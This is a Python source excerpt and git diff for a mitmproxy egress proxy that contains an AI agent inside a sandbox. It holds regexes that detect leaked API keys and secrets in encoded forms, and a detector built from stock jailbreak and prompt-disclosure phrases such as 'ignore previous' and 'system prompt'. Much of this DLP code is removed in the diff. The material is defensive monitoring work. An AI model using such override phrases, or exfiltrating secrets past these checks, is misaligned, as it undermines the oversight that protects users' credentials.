("GitHub token (classic)", re.compile(r"ghp_[A-Za-z0-9_]{36}")),
("GitHub fine-grained token", re.compile(r"github_pat_[A-Za-z0-9_]{82}")),
("Anthropic API key", re.compile(r"sk-ant-[A-Za-z0-9\-_]{93}")),
("OpenAI API key", re.compile(r"sk-[A-Za-z0-9]{48}")),
("Stripe live key", re.compile(r"sk_live_[A-Za-z0-9]{24}")),
("Generic Bearer JWT", re.compile(r"Bearer\s+[A-Za-z0-9._\-]{50,}")),
)
def scan_token_patterns(text: str) -> ScanResult | None:
for name, pattern in TOKEN_PATTERNS:
if pattern.search(text):
return ScanResult(
severity="block",
reason=f"outbound request contains {name}",
)
return None
# ---------------------------------------------------------------------------
# Known secrets detector (Phase 1b)
# ---------------------------------------------------------------------------
def _encoded_variants(secret: str) -> list[str]:
"""Return the secret plus base64, URL-encoded, and hex variants."""
variants = [secret]
secret_bytes = secret.encode("utf-8")
b64 = base64.b64encode(secret_bytes).decode("ascii")
if b64 != secret:
variants.append(b64)
url_enc = url_quote(secret, safe="")
if url_enc != secret:
variants.append(url_enc)
hex_enc = secret_bytes.hex()
if hex_enc != secret:
variants.append(hex_enc)
return variants
def scan_known_secrets(
text: str,
*,
env: typing.Mapping[str, str] | None = None,
) -> ScanResult | None:
if env is None:
return None
for key, value in env.items():
if not key.startswith("EGRESS_TOKEN_") or not value:
continue
for variant in _encoded_variants(value):
if variant in text:
return ScanResult(
severity="block",
reason=(
f"outbound request contains provisioned secret "
f"from {key}"
),
)
return None
# ---------------------------------------------------------------------------
# Naive prompt injection detector (Phase 2)
# ---------------------------------------------------------------------------
DISCLOSURE_PHRASES: tuple[re.Pattern[str], ...] = (
re.compile(r"(?i)system\s+prompt"),
re.compile(r"(?i)my\s+instructions\s+are"),
re.compile(r"(?i)original\s+instructions"),
re.compile(r"(?i)secret\s+instructions"),
re.compile(r"(?i)hidden\s+rules"),
)
JAILBREAK_PHRASES: tuple[re.Pattern[str], ...] = (
re.compile(r"(?i)ignore\s+previous"),
re.compile(r"(?i)forget\s+everything"),
re.compile(r"(?i)disregard\s+(?:all\s+)?(?:previous|prior)"),
re.compile(r"(?i)pretend\s+you\s+are"),
re.compile(r"(?i)act\s+as\s+(?:if|though)"),
)
PROXIMITY_CHARS = 500
def _min_distance(
a_matches: list[re.Match[str]],
b_matches: list[re.Match[str]],
) -> int | None:
"""Smallest char distance between any pair of matches."""
if not a_matches or not b_matches:
return None
best = None
for a in a_matches:
for b in b_matches:
gap = max(0, max(a.start(), b.start()) - min(a.end(), b.end()))
if best is None or gap < best:
best = gap
return best
def scan_naive_injection(text: str) -> ScanResult | None:
disclosure_hits = [m for p in DISCLOSURE_PHRASES for m in p.finditer(text)]
jailbreak_hits = [m for p in JAILBREAK_PHRASES for m in p.finditer(text)]
if disclosure_hits and jailbreak_hits:
dist = _min_distance(disclosure_hits, jailbreak_hits)
if dist is not None and dist <= PROXIMITY_CHARS:
return ScanResult(
severity="block",
reason=(
f"disclosure and jailbreak phrases within "
f"{dist} chars in response"
),
)
if disclosure_hits:
return ScanResult(
severity="warn",
reason="prompt disclosure phrase detected in response",
)
if jailbreak_hits:
return ScanResult(
severity="warn",
reason="jailbreak phrase detected in response",
)
return None
__all__ = [
"TOKEN_PATTERNS",
"scan_known_secrets",
"scan_naive_injection",
"scan_token_patterns",
]
bot_bottle/egress.py
+142 -112
View File
@@ -1,26 +1,36 @@
"""Per-bottle egress proxy (PRD 0017, PRD 0053).
"""Per-bottle egress proxy (PRD 0017).
Replaces the cred-proxy sidecar (PRD 0010) with a mitmproxy-based
sidecar that becomes the agent's `HTTP_PROXY` / `HTTPS_PROXY`. It
owns three jobs:
1. MITM the agent's HTTPS with the per-bottle CA (moved from
pipelock).
2. Enforce manifest-declared `path_allowlist` per route.
3. Inject `Authorization` headers for routes that declare an
`auth` block, the same way cred-proxy does today.
This module defines the abstract proxy (`Egress`), its plan
dataclass (`EgressPlan`), and the resolved per-route shape
(`EgressRoute`). The sidecar's start/stop lifecycle is backend-
specific and lives on concrete subclasses (see
`bot_bottle/backend/docker/egress.py`).
Chunks 1+2 of the PRD: this module + the mitmproxy addon + the Docker
lifecycle are wired into the agent's `HTTP_PROXY` path; cred-proxy
has been removed. Chunk 3 retargets the cred-proxy-block remediation
flow (PRD 0014) at egress and renames the MCP tool.
"""
from __future__ import annotations
import dataclasses
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from pathlib import Path
from typing import TYPE_CHECKING
from .egress_addon_core import (
HeaderMatch as CoreHeaderMatch,
MatchEntry as CoreMatchEntry,
PathMatch as CorePathMatch,
Route,
)
from .egress_addon_core import Route
from .log import die
if TYPE_CHECKING:
@@ -28,8 +38,19 @@ if TYPE_CHECKING:
CODEX_HOST_CREDENTIAL_TOKEN_REF = "BOT_BOTTLE_CODEX_HOST_ACCESS_TOKEN"
# DNS name agents will dial for the per-bottle egress sidecar.
# Backend-agnostic by contract: every concrete backend (Docker today,
# others later) attaches this name to its sidecar on the bottle's
# internal network. The agent's `HTTP_PROXY` env var resolves to
# `http://egress:<port>` once chunk 2 cuts over.
EGRESS_HOSTNAME = "egress"
# In-container path the addon reads. Pre-created in
# `Dockerfile.sidecars` so the host bind-mount can drop the file
# directly. Content is YAML (hand-rolled by `egress_render_routes`
# in the style of `pipelock_render_yaml`, parsed by `yaml_subset`
# inside the addon).
EGRESS_ROUTES_IN_CONTAINER = "/etc/egress/routes.yaml"
@@ -37,23 +58,68 @@ EGRESS_ROUTES_IN_CONTAINER = "/etc/egress/routes.yaml"
class EgressRoute(Route):
"""Host-side extension of the addon's `Route`.
Inherits `host`, `matches`, `auth_scheme`, and `token_env`
Inherits `host`, `path_allowlist`, `auth_scheme`, and `token_env`
from `egress_addon_core.Route` — those are the fields that cross the
YAML wire into the sidecar. The fields below are host-only and
YAML wire into the sidecar. The three fields below are host-only and
are never serialised to the addon.
`token_ref` is the host env var the CLI reads at launch and forwards
into the container's environ under `token_env`.
into the container's environ under `token_env`. Routes that share a
`token_ref` coalesce to one `token_env` slot.
`roles` carries the manifest route's role tuple (reserved for
future use; always empty today)."""
future use; always empty today).
`tls_passthrough` signals that pipelock must not TLS-MITM this
host — either because the manifest declared `pipelock.tls_passthrough:
true` (lifted in `egress_manifest_routes`) or because a provider
route set it (e.g. egress injects its own Bearer on that host
after the agent boundary and pipelock's header DLP would block it)."""
token_ref: str = ""
roles: tuple[str, ...] = ()
tls_passthrough: bool = False
@dataclass(frozen=True)
class EgressPlan:
"""Output of Egress.prepare; consumed by .start.
The slug + routes_path + routes + token_env_map fields are
filled at prepare time (host-side, side-effect-free on docker).
The network + CA + pipelock fields are populated by the backend's
launch step via `dataclasses.replace` once those resources
exist. Empty defaults are sentinels meaning "not yet set";
`.start` validates that they are populated.
`token_env_map` is `{<token_env in container>: <token_ref on host>}`.
The backend's start step reads `os.environ[token_ref]` and
forwards the value into the egress container's environ
under `token_env`. The plan itself never holds token values —
secrets never land in a dataclass that might be logged.
`mitmproxy_ca_host_path` is the host path of the per-bottle
egress CA (single PEM with cert+key concatenated) minted
by `egress_tls_init`. `.start` docker-cps it into the
sidecar at `~/.mitmproxy/mitmproxy-ca.pem` — mitmproxy reads
that file at boot to mint per-host leaf certs.
`mitmproxy_ca_cert_only_host_path` is the cert-only PEM (no
key) for installing into the agent's trust store via
`provision_ca`. Separate file rather than re-parsing the
concat so secrets and trust artefacts stay on distinct paths.
`pipelock_ca_host_path` is the host path of the pipelock CA
(cert only). `.start` docker-cps it into the sidecar so the
proxy's outbound HTTPS client trusts pipelock's MITM on the
egress → upstream leg.
`pipelock_proxy_url` is the URL egress sets as `HTTPS_PROXY`
in its environ so outbound HTTPS traverses pipelock — keeping
pipelock's hostname allowlist + DLP body scanner on the
egress → upstream leg.
"""
slug: str
routes_path: Path
routes: tuple[EgressRoute, ...]
@@ -62,36 +128,26 @@ class EgressPlan:
egress_network: str = ""
mitmproxy_ca_host_path: Path = Path()
mitmproxy_ca_cert_only_host_path: Path = Path()
pipelock_ca_host_path: Path = Path()
pipelock_proxy_url: str = ""
def egress_manifest_routes(
bottle: Bottle,
) -> tuple[EgressRoute, ...]:
"""Lift each `bottle.egress.routes[]` manifest entry into an EgressRoute.
Order is preserved. Token slots are not assigned here — slot assignment
is a final step in `egress_routes_for_bottle` after provider and manifest
routes are merged."""
out: list[EgressRoute] = []
for r in bottle.egress.routes:
core_matches: list[CoreMatchEntry] = []
for m in r.Matches:
core_paths = tuple(
CorePathMatch(type=p.Type, value=p.Value)
for p in m.Paths
)
core_headers = tuple(
CoreHeaderMatch(name=h.Name, value=h.Value, type=h.Type)
for h in m.Headers
)
core_matches.append(CoreMatchEntry(
paths=core_paths,
methods=m.Methods,
headers=core_headers,
))
out.append(EgressRoute(
host=r.Host,
matches=tuple(core_matches),
path_allowlist=r.PathAllowlist,
auth_scheme=r.AuthScheme,
token_ref=r.TokenRef,
roles=r.Role,
outbound_detectors=r.OutboundDetectors,
inbound_detectors=r.InboundDetectors,
tls_passthrough=r.Pipelock.TlsPassthrough,
))
return tuple(out)
@@ -100,6 +156,12 @@ def egress_routes_for_bottle(
bottle: Bottle,
provider_routes: tuple[EgressRoute, ...] = (),
) -> tuple[EgressRoute, ...]:
"""Effective egress routes for the agent.
Provider routes own their hosts outright; manifest routes for hosts
not claimed by any provider are appended. Token slots are assigned
in a final pass over the merged list in order, so provisioned routes
get the lower slot numbers."""
manifest = egress_manifest_routes(bottle)
provisioned_hosts = {pr.host.lower() for pr in provider_routes}
merged = list(provider_routes) + [
@@ -111,6 +173,10 @@ def egress_routes_for_bottle(
def _assign_token_slots(
routes: list[EgressRoute],
) -> tuple[EgressRoute, ...]:
"""Assign EGRESS_TOKEN_N slots to authenticated routes in order.
Routes sharing a token_ref share a slot. Unauthenticated routes
(no auth_scheme / token_ref) keep token_env empty."""
slot_for_ref: dict[str, str] = {}
out: list[EgressRoute] = []
for r in routes:
@@ -128,6 +194,13 @@ def _assign_token_slots(
def egress_token_env_map(
routes: tuple[EgressRoute, ...],
) -> dict[str, str]:
"""Collapse the route list into `{token_env: token_ref}` for the
authenticated routes. Routes without `auth` contribute no entry.
Conflict detection: two routes that share a `token_env` slot but
name different `token_ref` host vars is a programming error in
`egress_routes_for_bottle`; surface it as a die rather than
silently picking one."""
out: dict[str, str] = {}
for r in routes:
if not (r.auth_scheme and r.token_ref and r.token_env):
@@ -143,54 +216,30 @@ def egress_token_env_map(
return out
def _route_to_yaml_fields(r: Route) -> dict[str, object]:
fields: dict[str, object] = {"host": r.host}
def _route_to_yaml_fields(r: Route) -> dict:
"""Return the addon-visible fields for one route.
Single authoritative mapping between EgressRoute (host-side) and
egress_addon_core.Route (sidecar-side). When a field is added to
the addon's Route that must appear in the YAML, add it here and
in egress_addon_core._parse_one together."""
fields: dict = {"host": r.host}
if r.auth_scheme and r.token_env:
fields["auth_scheme"] = r.auth_scheme
fields["token_env"] = r.token_env
if r.matches:
matches_data: list[dict[str, object]] = []
for entry in r.matches:
entry_data: dict[str, object] = {}
if entry.paths:
paths_data: list[dict[str, str]] = []
for pm in entry.paths:
pd: dict[str, str] = {"value": pm.value}
if pm.type != "prefix":
pd["type"] = pm.type
paths_data.append(pd)
entry_data["paths"] = paths_data
if entry.methods:
entry_data["methods"] = list(entry.methods)
if entry.headers:
headers_data: list[dict[str, str]] = []
for hm in entry.headers:
hd: dict[str, str] = {"name": hm.name, "value": hm.value}
if hm.type != "exact":
hd["type"] = hm.type
headers_data.append(hd)
entry_data["headers"] = headers_data
matches_data.append(entry_data)
fields["matches"] = matches_data
if r.outbound_detectors is not None or r.inbound_detectors is not None:
dlp: dict[str, object] = {}
if r.outbound_detectors is not None:
dlp["outbound_detectors"] = (
False if not r.outbound_detectors
else list(r.outbound_detectors)
)
if r.inbound_detectors is not None:
dlp["inbound_detectors"] = (
False if not r.inbound_detectors
else list(r.inbound_detectors)
)
fields["dlp"] = dlp
if r.path_allowlist:
fields["path_allowlist"] = list(r.path_allowlist)
return fields
def egress_render_routes(
routes: tuple[EgressRoute, ...],
) -> str:
"""Serialize the route table for the addon to read.
YAML content — no token values, no host env-var names. Fields are
determined by `_route_to_yaml_fields`, which is the single point of
truth for the EgressRoute → egress_addon_core.Route mapping."""
lines: list[str] = ["routes:"]
if not routes:
lines[0] = "routes: []"
@@ -201,49 +250,10 @@ def egress_render_routes(
if "auth_scheme" in f:
lines.append(f' auth_scheme: "{f["auth_scheme"]}"')
lines.append(f' token_env: "{f["token_env"]}"')
if "matches" in f:
lines.append(" matches:")
for entry in f["matches"]: # type: ignore
entry_dict: dict[str, object] = entry # type: ignore
first_key = True
if "paths" in entry_dict:
lines.append(" - paths:")
first_key = False
for pd in entry_dict["paths"]: # type: ignore
pd_dict: dict[str, str] = pd # type: ignore
if "type" in pd_dict:
lines.append(f' - type: "{pd_dict["type"]}"')
lines.append(f' value: "{pd_dict["value"]}"')
else:
lines.append(f' - value: "{pd_dict["value"]}"')
if "methods" in entry_dict:
methods_str = ", ".join(
f'"{m}"' for m in entry_dict["methods"] # type: ignore
)
prefix = " - " if first_key else " "
lines.append(f'{prefix}methods: [{methods_str}]')
first_key = False
if "headers" in entry_dict:
prefix = " - " if first_key else " "
lines.append(f"{prefix}headers:")
first_key = False
for hd in entry_dict["headers"]: # type: ignore
hd_dict: dict[str, str] = hd # type: ignore
lines.append(f' - name: "{hd_dict["name"]}"')
lines.append(f' value: "{hd_dict["value"]}"')
if "type" in hd_dict:
lines.append(f' type: "{hd_dict["type"]}"')
if first_key:
lines.append(" - {}")
if "dlp" in f:
dlp_dict: dict[str, object] = f["dlp"] # type: ignore
lines.append(" dlp:")
for dk, dv in dlp_dict.items():
if dv is False:
lines.append(f" {dk}: false")
elif isinstance(dv, list):
items_str = ", ".join(f'"{x}"' for x in dv)
lines.append(f" {dk}: [{items_str}]")
if "path_allowlist" in f:
lines.append(" path_allowlist:")
for p in f["path_allowlist"]:
lines.append(f' - "{p}"')
return "\n".join(lines) + "\n"
@@ -251,6 +261,12 @@ def egress_resolve_token_values(
token_env_map: dict[str, str],
host_env: dict[str, str],
) -> dict[str, str]:
"""Read `host_env[TokenRef]` for each entry in `token_env_map` and
return `{token_env: <value>}`. Dies (with a pointer at the missing
var name) if any TokenRef is unset.
Pure function: takes the host env as an argument so tests can pass
a sealed mapping without touching `os.environ`."""
out: dict[str, str] = {}
for token_env, token_ref in token_env_map.items():
value = host_env.get(token_ref)
@@ -271,6 +287,11 @@ def egress_resolve_token_values(
class Egress(ABC):
"""The per-bottle egress proxy. Encapsulates the host-side prepare
(route lift + routes.yaml render + token-env-map derivation); the
sidecar's start/stop lifecycle is backend-specific and lives on
concrete subclasses."""
def prepare(
self,
bottle: Bottle,
@@ -278,6 +299,15 @@ class Egress(ABC):
stage_dir: Path,
provider_routes: tuple[EgressRoute, ...] = (),
) -> EgressPlan:
"""Lift `bottle.egress.routes` + `provider_routes` into resolved
routes, render the routes file (mode 600) under `stage_dir`, and
return the plan. Pure host-side, no docker subprocess. The
token-env map records the mapping the launch step uses to
forward values from the host's environ into the sidecar's environ.
Returned plan is incomplete: the launch step must fill
`internal_network` / `egress_network` / `pipelock_proxy_url`
via `dataclasses.replace` before passing it to `.start`."""
routes = egress_routes_for_bottle(bottle, provider_routes)
routes_path = stage_dir / "egress_routes.yaml"
routes_path.write_text(egress_render_routes(routes))
bot_bottle/egress_addon.py
+77 -63
View File
@@ -1,7 +1,28 @@
"""mitmproxy addon entrypoint for the egress sidecar (PRD 0017, PRD 0053).
"""mitmproxy addon entrypoint for the egress sidecar (PRD 0017).
Loaded by `mitmdump -s /app/egress_addon.py` inside the
egress container."""
egress container. Wraps the pure logic from
`egress_addon_core` with mitmproxy's HTTPFlow API:
- At startup, read `EGRESS_ROUTES` (default
`/etc/egress/routes.yaml`, JSON content) → routes table.
- SIGHUP re-reads the file and atomically swaps the in-memory
table. A parse error keeps the old table in place — better to
keep serving the old config than to leave the proxy with no
routes after a typo.
- On each `request`: strip the inbound Authorization header, then
consult `decide()` for forward / block / inject-auth and apply
the decision to the flow.
This file imports `mitmproxy` and is never imported on the host —
mitmproxy is a container-only dependency. The host's tests target
`egress_addon_core`.
Dockerfile.sidecars copies both this file and
`egress_addon_core.py` flat into `/app/`; the absolute import
below works because mitmdump runs with `/app` on its sys.path. The
parallel file in the package source tree (bot_bottle/) is the
build input — not a module the host imports."""
from __future__ import annotations
@@ -14,23 +35,30 @@ from pathlib import Path
from mitmproxy import http # type: ignore[import-not-found]
from egress_addon_core import ( # type: ignore[import-not-found]
Route,
decide,
is_git_push_request,
load_routes,
match_route,
scan_inbound,
scan_outbound,
)
# Absolute import (NOT `from .egress_addon_core`) — the
# container drops both files flat into /app/ so they are sibling
# top-level modules to mitmdump's loader, not a package.
from egress_addon_core import Route, decide, is_git_push_request, load_routes # type: ignore[import-not-found]
DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
# Magic hostname the addon recognises as an introspection target.
# Requests through the proxy for `_egress.local/<path>` are
# intercepted and answered with synthetic responses (the addon's
# `request` hook sets `flow.response` before any upstream connection).
# The hostname is not in DNS — only clients dialing through this
# specific egress can reach it, and only via HTTP (no TLS).
# Used by the supervise sidecar's `list-egress-routes` MCP
# tool to surface the live route table to the agent.
INTROSPECT_HOST = "_egress.local"
class EgressAddon:
"""The mitmproxy addon. One instance per `mitmdump` process; the
request hook is invoked on every CONNECT-decapsulated HTTP/HTTPS
request the agent makes."""
def __init__(self) -> None:
self.routes_path = os.environ.get("EGRESS_ROUTES", DEFAULT_ROUTES_PATH)
self.routes: tuple[Route, ...] = ()
@@ -47,6 +75,9 @@ class EgressAddon:
f"egress: {tag} load failed: {e}\n"
)
if initial:
# No baseline to fall back on; serve nothing rather
# than masquerade as a proxy with a route table the
# operator never declared.
self.routes = ()
return
self.routes = new_routes
@@ -66,6 +97,11 @@ class EgressAddon:
signal.signal(signal.SIGHUP, handler)
def _serve_introspection(self, flow: http.HTTPFlow, path: str) -> None:
"""Synthesize a response for `_egress.local` requests.
Currently supports `/allowlist` which returns the in-memory
route table as JSON (host, path_allowlist, auth_scheme,
token_env per route — no token VALUES, those live in the
container's environ)."""
if path == "/allowlist":
payload = json.dumps(
{"routes": [dataclasses.asdict(r) for r in self.routes]},
@@ -82,83 +118,61 @@ class EgressAddon:
{"Content-Type": "text/plain; charset=utf-8"},
)
def _block(self, flow: http.HTTPFlow, reason: str) -> None:
sys.stderr.write(f"{reason}\n")
flow.response = http.Response.make(
403,
reason.encode("utf-8"),
{"Content-Type": "text/plain; charset=utf-8"},
)
# mitmproxy's addon API: this method name + signature is how
# mitmdump discovers the request hook.
def request(self, flow: http.HTTPFlow) -> None:
request_path, _, query = flow.request.path.partition("?")
# Introspection: requests to the magic `_egress.local`
# host are answered locally with a synthetic response. Check
# before the strip-auth + route logic — these requests aren't
# real upstream traffic, the agent isn't injecting auth, and
# the addon's own decide() would 403 the magic host (it's
# never in the routes table).
if flow.request.pretty_host == INTROSPECT_HOST:
self._serve_introspection(flow, request_path)
return
# DLP outbound scan BEFORE stripping auth — catches tokens the
# agent tried to smuggle in the Authorization header.
route = match_route(self.routes, flow.request.pretty_host)
if route is not None:
body = flow.request.get_text(strict=False) or ""
auth_header = flow.request.headers.get("authorization", "")
scan_text = body
if auth_header:
scan_text = auth_header + "\n" + body
dlp_result = scan_outbound(route, scan_text, os.environ)
if dlp_result is not None and dlp_result.severity == "block":
self._block(flow, f"egress DLP: {dlp_result.reason}")
return
# Strip inbound Authorization — agent cannot smuggle tokens.
# Inbound Authorization is always stripped — the agent cannot
# smuggle a stolen token through the proxy. If the matched
# route declares an auth pair, a fresh header is injected
# below.
flow.request.headers.pop("authorization", None)
# Universal HTTPS git-push block. Defense-in-depth: git-gate
# (PRD 0008) is the only sanctioned outbound path for git
# writes — its pre-receive runs gitleaks. Letting HTTPS push
# through egress + auth injection would route around
# that scan, so we 403 before any route logic.
if is_git_push_request(request_path, query):
self._block(
flow,
"egress: git push over HTTPS is not supported; "
"use the bottle.git SSH path (gitleaks-scanned by "
"git-gate's pre-receive hook).",
flow.response = http.Response.make(
403,
(
b"egress: git push over HTTPS is not supported; "
b"use the bottle.git SSH path (gitleaks-scanned by "
b"git-gate's pre-receive hook)."
),
{"Content-Type": "text/plain; charset=utf-8"},
)
return
# Build headers mapping for match evaluation
req_headers = {k.lower(): v for k, v in flow.request.headers.items()}
decision = decide(
self.routes,
flow.request.pretty_host,
request_path,
os.environ,
request_method=flow.request.method,
request_headers=req_headers,
)
if decision.action == "block":
self._block(flow, decision.reason)
flow.response = http.Response.make(
403,
decision.reason.encode("utf-8"),
{"Content-Type": "text/plain; charset=utf-8"},
)
return
if decision.inject_authorization is not None:
flow.request.headers["authorization"] = decision.inject_authorization
def response(self, flow: http.HTTPFlow) -> None:
"""DLP inbound scan on response bodies (PRD 0053)."""
route = match_route(self.routes, flow.request.pretty_host)
if route is None:
return
if flow.response is None:
return
body = flow.response.get_text(strict=False) or ""
if not body:
return
result = scan_inbound(route, body)
if result is None:
return
if result.severity == "block":
self._block(flow, f"egress DLP: {result.reason}")
elif result.severity == "warn":
sys.stderr.write(f"egress DLP warn: {result.reason}\n")
addons = [EgressAddon()]
bot_bottle/egress_addon_core.py
+123 -406
View File
@@ -1,4 +1,4 @@
"""Pure logic for the egress mitmproxy addon (PRD 0017, PRD 0053).
"""Pure logic for the egress mitmproxy addon (PRD 0017).
Split out of `egress_addon.py` so the host's unit tests can
exercise the parse + decision functions without depending on the
@@ -8,263 +8,81 @@ container.
Imports: stdlib + `yaml_subset` (which is itself stdlib-only and
ships flat into the sidecar bundle image alongside this file —
see `Dockerfile.sidecars`)."""
see `Dockerfile.sidecars`).
"""
from __future__ import annotations
import re
import typing
from dataclasses import dataclass
# Absolute import — `yaml_subset.py` is copied flat into the bundle
# image's `/app/` next to this file (via `Dockerfile.sidecars`).
# The host-side unit tests run with the repo on sys.path, where the
# import resolves under the `bot_bottle` package. The try/except
# shim picks whichever import works.
try:
from yaml_subset import YamlSubsetError, parse_yaml_subset # type: ignore[import-not-found]
except ImportError: # pragma: no cover - host-side path
from .yaml_subset import YamlSubsetError, parse_yaml_subset
# ---------------------------------------------------------------------------
# Match types (Gateway API HTTPRoute vocabulary, PRD 0053)
# ---------------------------------------------------------------------------
PATH_MATCH_TYPES = ("exact", "prefix", "regex")
HEADER_MATCH_TYPES = ("exact", "regex")
VALID_METHODS = frozenset({
"GET", "HEAD", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "TRACE",
"CONNECT",
})
OUTBOUND_DETECTOR_NAMES = frozenset({"token_patterns", "known_secrets"})
INBOUND_DETECTOR_NAMES = frozenset({"naive_injection_detection"})
@dataclass(frozen=True)
class PathMatch:
type: str # "exact" | "prefix" | "regex"
value: str
compiled: re.Pattern[str] | None = None
@dataclass(frozen=True)
class HeaderMatch:
name: str
value: str
type: str = "exact" # "exact" | "regex"
compiled: re.Pattern[str] | None = None
@dataclass(frozen=True)
class MatchEntry:
paths: tuple[PathMatch, ...] = ()
methods: tuple[str, ...] = ()
headers: tuple[HeaderMatch, ...] = ()
@dataclass(frozen=True)
class Route:
"""One row of the egress route table.
`host` is the request's `Host` header (or SNI hostname) to match
against. `path_allowlist` is an optional tuple of absolute path
prefixes the request path must start with; empty tuple means no
path constraint. `auth_scheme` and `token_env` together form the
credential-injection pair (both set or both empty); a non-empty
pair tells the addon to overwrite the inbound Authorization with
`<auth_scheme> <value-of-environ[token_env]>`.
"""
host: str
matches: tuple[MatchEntry, ...] = ()
path_allowlist: tuple[str, ...] = ()
auth_scheme: str = ""
token_env: str = ""
outbound_detectors: tuple[str, ...] | None = None
inbound_detectors: tuple[str, ...] | None = None
@dataclass(frozen=True)
class Decision:
"""The result of `decide()`. Either forward (with optional
`inject_authorization` header) or block (with a `reason` to surface
to the agent)."""
action: str # "forward" or "block"
reason: str = ""
inject_authorization: str | None = None
@dataclass(frozen=True)
class ScanResult:
severity: str # "block" or "warn"
reason: str
# ---------------------------------------------------------------------------
# Parsing
# ---------------------------------------------------------------------------
def _parse_path_match(idx: int, j: int, raw: object) -> PathMatch:
label = f"route[{idx}] matches paths[{j}]"
if not isinstance(raw, dict):
raise ValueError(f"{label}: must be an object")
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
ptype = raw_dict.get("type", "prefix")
if not isinstance(ptype, str) or ptype not in PATH_MATCH_TYPES:
raise ValueError(
f"{label}: 'type' must be one of {', '.join(PATH_MATCH_TYPES)} "
f"(got {ptype!r})"
)
value = raw_dict.get("value")
if not isinstance(value, str) or not value:
raise ValueError(f"{label}: 'value' must be a non-empty string")
if ptype in ("exact", "prefix") and not value.startswith("/"):
raise ValueError(
f"{label}: value {value!r} must start with '/' for "
f"type {ptype!r}"
)
compiled: re.Pattern[str] | None = None
if ptype == "regex":
try:
compiled = re.compile(value)
except re.error as e:
raise ValueError(
f"{label}: regex {value!r} failed to compile: {e}"
) from e
for k in raw_dict:
if k not in ("type", "value"):
raise ValueError(f"{label}: unknown key {k!r}")
return PathMatch(type=ptype, value=value, compiled=compiled)
def _parse_header_match(idx: int, j: int, raw: object) -> HeaderMatch:
label = f"route[{idx}] matches headers[{j}]"
if not isinstance(raw, dict):
raise ValueError(f"{label}: must be an object")
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
name = raw_dict.get("name")
if not isinstance(name, str) or not name:
raise ValueError(f"{label}: 'name' must be a non-empty string")
value = raw_dict.get("value")
if not isinstance(value, str):
raise ValueError(f"{label}: 'value' must be a string")
htype = raw_dict.get("type", "exact")
if not isinstance(htype, str) or htype not in HEADER_MATCH_TYPES:
raise ValueError(
f"{label}: 'type' must be one of {', '.join(HEADER_MATCH_TYPES)} "
f"(got {htype!r})"
)
compiled: re.Pattern[str] | None = None
if htype == "regex":
try:
compiled = re.compile(value)
except re.error as e:
raise ValueError(
f"{label}: regex {value!r} failed to compile: {e}"
) from e
for k in raw_dict:
if k not in ("name", "value", "type"):
raise ValueError(f"{label}: unknown key {k!r}")
return HeaderMatch(name=name, value=value, type=htype, compiled=compiled)
def _parse_match_entry(idx: int, k: int, raw: object) -> MatchEntry:
label = f"route[{idx}] matches[{k}]"
if not isinstance(raw, dict):
raise ValueError(f"{label}: must be an object")
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
paths: tuple[PathMatch, ...] = ()
paths_raw = raw_dict.get("paths")
if paths_raw is not None:
if not isinstance(paths_raw, list):
raise ValueError(f"{label}: 'paths' must be a list")
paths_list = typing.cast(list[object], paths_raw)
paths = tuple(_parse_path_match(idx, j, p) for j, p in enumerate(paths_list))
methods: tuple[str, ...] = ()
methods_raw = raw_dict.get("methods")
if methods_raw is not None:
if not isinstance(methods_raw, list):
raise ValueError(f"{label}: 'methods' must be a list")
methods_list = typing.cast(list[object], methods_raw)
normalised: list[str] = []
for j, m in enumerate(methods_list):
if not isinstance(m, str):
raise ValueError(f"{label}: methods[{j}] must be a string")
upper = m.upper()
if upper not in VALID_METHODS:
raise ValueError(
f"{label}: methods[{j}] {m!r} is not a valid HTTP method"
)
normalised.append(upper)
methods = tuple(normalised)
headers: tuple[HeaderMatch, ...] = ()
headers_raw = raw_dict.get("headers")
if headers_raw is not None:
if not isinstance(headers_raw, list):
raise ValueError(f"{label}: 'headers' must be a list")
headers_list = typing.cast(list[object], headers_raw)
headers = tuple(
_parse_header_match(idx, j, h) for j, h in enumerate(headers_list)
)
for key in raw_dict:
if key not in ("paths", "methods", "headers"):
raise ValueError(f"{label}: unknown key {key!r}")
return MatchEntry(paths=paths, methods=methods, headers=headers)
def _parse_detectors(
idx: int,
host: str,
raw_dict: dict[str, object],
) -> tuple[tuple[str, ...] | None, tuple[str, ...] | None]:
"""Parse the optional `dlp` block on a route, returning
(outbound_detectors, inbound_detectors)."""
dlp_raw = raw_dict.get("dlp")
if dlp_raw is None:
return None, None
label = f"route[{idx}] ({host})"
if not isinstance(dlp_raw, dict):
raise ValueError(f"{label}: 'dlp' must be an object")
dlp = typing.cast(dict[str, object], dlp_raw)
def _parse_detector_field(
field: str,
valid_names: frozenset[str],
) -> tuple[str, ...] | None:
val = dlp.get(field)
if val is None:
return None
if val is False:
return ()
if not isinstance(val, list):
raise ValueError(
f"{label}: dlp.{field} must be false, a list, or omitted"
)
items = typing.cast(list[object], val)
names: list[str] = []
for j, item in enumerate(items):
if not isinstance(item, str):
raise ValueError(
f"{label}: dlp.{field}[{j}] must be a string"
)
if item not in valid_names:
raise ValueError(
f"{label}: dlp.{field}[{j}] {item!r} is not a valid "
f"detector name; valid names: {', '.join(sorted(valid_names))}"
)
names.append(item)
return tuple(names)
outbound = _parse_detector_field("outbound_detectors", OUTBOUND_DETECTOR_NAMES)
inbound = _parse_detector_field("inbound_detectors", INBOUND_DETECTOR_NAMES)
for k in dlp:
if k not in ("outbound_detectors", "inbound_detectors"):
raise ValueError(
f"{label}: dlp has unknown key {k!r}; accepted keys "
f"are 'outbound_detectors', 'inbound_detectors'"
)
return outbound, inbound
def parse_routes(payload: object) -> tuple[Route, ...]:
"""Parse the routes-file payload (already JSON-decoded) into a
tuple of `Route`s. Raises `ValueError` on any malformed entry —
the caller decides whether to keep the old table or refuse to
start.
Schema:
{
"routes": [
{
"host": "api.github.com",
"path_allowlist": ["/repos/x/", "/users/x"], # optional
"auth_scheme": "Bearer", # optional
"token_env": "EGRESS_TOKEN_0" # optional
},
...
]
}
"""
if not isinstance(payload, dict):
raise ValueError("routes payload: top-level must be an object")
payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
raw: object = payload_dict.get("routes")
raw = payload.get("routes")
if not isinstance(raw, list):
raise ValueError("routes payload: 'routes' must be a list")
